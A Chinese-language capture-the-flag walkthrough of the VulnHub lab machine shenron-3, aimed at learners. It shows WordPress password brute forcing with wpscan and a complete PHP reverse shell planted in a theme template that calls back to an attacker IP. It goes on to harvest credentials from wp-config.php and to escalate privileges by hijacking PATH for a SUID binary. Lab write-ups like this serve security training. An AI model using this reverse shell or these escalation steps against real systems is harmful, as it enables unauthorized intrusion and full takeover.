渗透测试练习No.31 环境变量支持提权 靶机shenron-3

221 阅读4分钟

**声明:**文章来自作者日常学习笔记,请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。仅供学习研究

靶机信息


下载地址:

https://www.vulnhub.com/entry/shenron-3,682/

靶场: VulnHub.com

靶机名称: shenron:3

难度: 简单

发布时间: 2020年12月15日

提示信息:

目标: 2个flag

实验环境

攻击机:VMware kali 192.168.7.3

靶机:Vbox linux IP自动获取

信息收集


扫描主机

扫描局域网内的靶机IP地址

sudo nmap -sP 192.168.7.1/24

扫描到主机地址为192.168.7.179

扫描端口

扫描靶机开放的服务端口

sudo nmap -sC -sV -p- 192.168.7.179 -oN 3.nmap

图片

扫描到只开放了80端口

Web渗透

访问80端口

http://192.168.7.179

图片

图片

又是WordPress,需要绑定域名

sudo vi /etc/hosts

图片

绑定好后刷新下页面

图片

可以正常访问了,先用wpscan扫描一遍

wpscan --url http://shenron --api-token 你的api-token -e

图片

图片

没有可利用的漏洞,做个目录扫描

gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://shenron -x php,html,txt,zip

图片

wpscan暴破密码

目录扫描也没有可以利用的信息,只能暴破密码看看运气了

wpscan --url http://shenron --passwords /usr/share/wordlists/rockyou.txt --usernames admin

图片

暴出admin用户的密码是iloverockyou,登录后台

http://192.168.7.179/wp-admin

图片

反弹shell

登录成功,去修改模板插入反弹shell代码

图片

set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.7.3';  // CHANGE THIS
$port = 4444;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

//
// Daemonise ourself if possible to avoid zombies later
//

// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies. Worth a try...
if (function_exists('pcntl_fork')) {
// Fork and have the parent process exit
$pid = pcntl_fork();

if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}

if ($pid) {
exit(0);  // Parent exits
}

// Make the current process a session leader
// Will only succeed if we forked
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}

$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}

// Change to a safe directory
chdir("/");

// Remove any umask we inherited
umask(0);

//
// Do the reverse shell...
//

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}

// Spawn shell process
$descriptorspec = array(
  0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
  1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
  2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}

// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
// Check for end of TCP connection
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}

// Check for end of STDOUT
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}

// Wait until a command is end down $sock, or some
// command output is available on STDOUT or STDERR
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

// If we can read from the TCP socket, send
// data to process's STDIN
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}

// If we can read from the process's STDOUT
// send data down tcp connection
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}

// If we can read from the process's STDERR
// send data down tcp connection
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}

修改完成后还需要在kali攻击机上监听4444端口

nc -lvvp 4444

图片

准备好后访问一下站点任意页面即可反弹shell

http://shenron/

图片

反弹成功,先切换到交互型shell

python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
Ctrl+z快捷键
stty -a
stty raw -echo;fg
reset

图片

切换完成,找找敏感信息吧

cd /var/www/html
cat wp-config.php

图片

找到数据库的帐号wordpress和密码Wordpress@123,继续找

cat /etc/passwd

图片

找到1个可以登录的帐号shenron,继续找

sudo 与suid都没有找到可提权的信息,用刚才的数据库密码尝试登录 shenron帐号试试

su shenron
输入密码Wordpress@123

图片

登陆失败,再试试admin帐号的密码

su shenron
输入密码iloverockyou

图片

登陆成功,看下用户目录下都有什么

cd /home/shenron
ls -al

图片

先看看local.txt的内容

cat local.txt

图片

SUID环境变量劫持提权

拿到第1个flag,再看看有suid权限的network文件是什么先执行下

./network

图片

看着像netstat命令并且加了参数,把他下载到攻击机上检查

靶机上开启http服务

python3 -m http.server

图片

kali攻击机下载network文件

wget http://192.168.7.179:8000/network

图片

下载好使用strings命令查看文件执行哪些命令

strings network

图片

查看到确实是netstat命令并且加了nltup参数,但是这个命令无法提权,我们使用环境变量劫持来攻击

1。在/tmp目录下创建netstat命令,文件内容是提权命令,并加上执行权限

cd /tmp
echo '/bin/bash' > netstat
chmod +x netstat

图片

2。劫持环境变量

export PATH=/tmp:$PATH
echo $PATH

图片

3。执行network

/home/shenron/network
id

图片

提权成功,找下flag

cd /root
ls -al
cat root.txt

图片

拿到root.txt,游戏结束

这篇文章到这里就结束了,喜欢打靶的小伙伴可以关注"伏波路上学安全"微信公众号,或扫描下面二维码关注,我会持续更新打靶文章,让我们一起在打靶中学习进步吧.

图片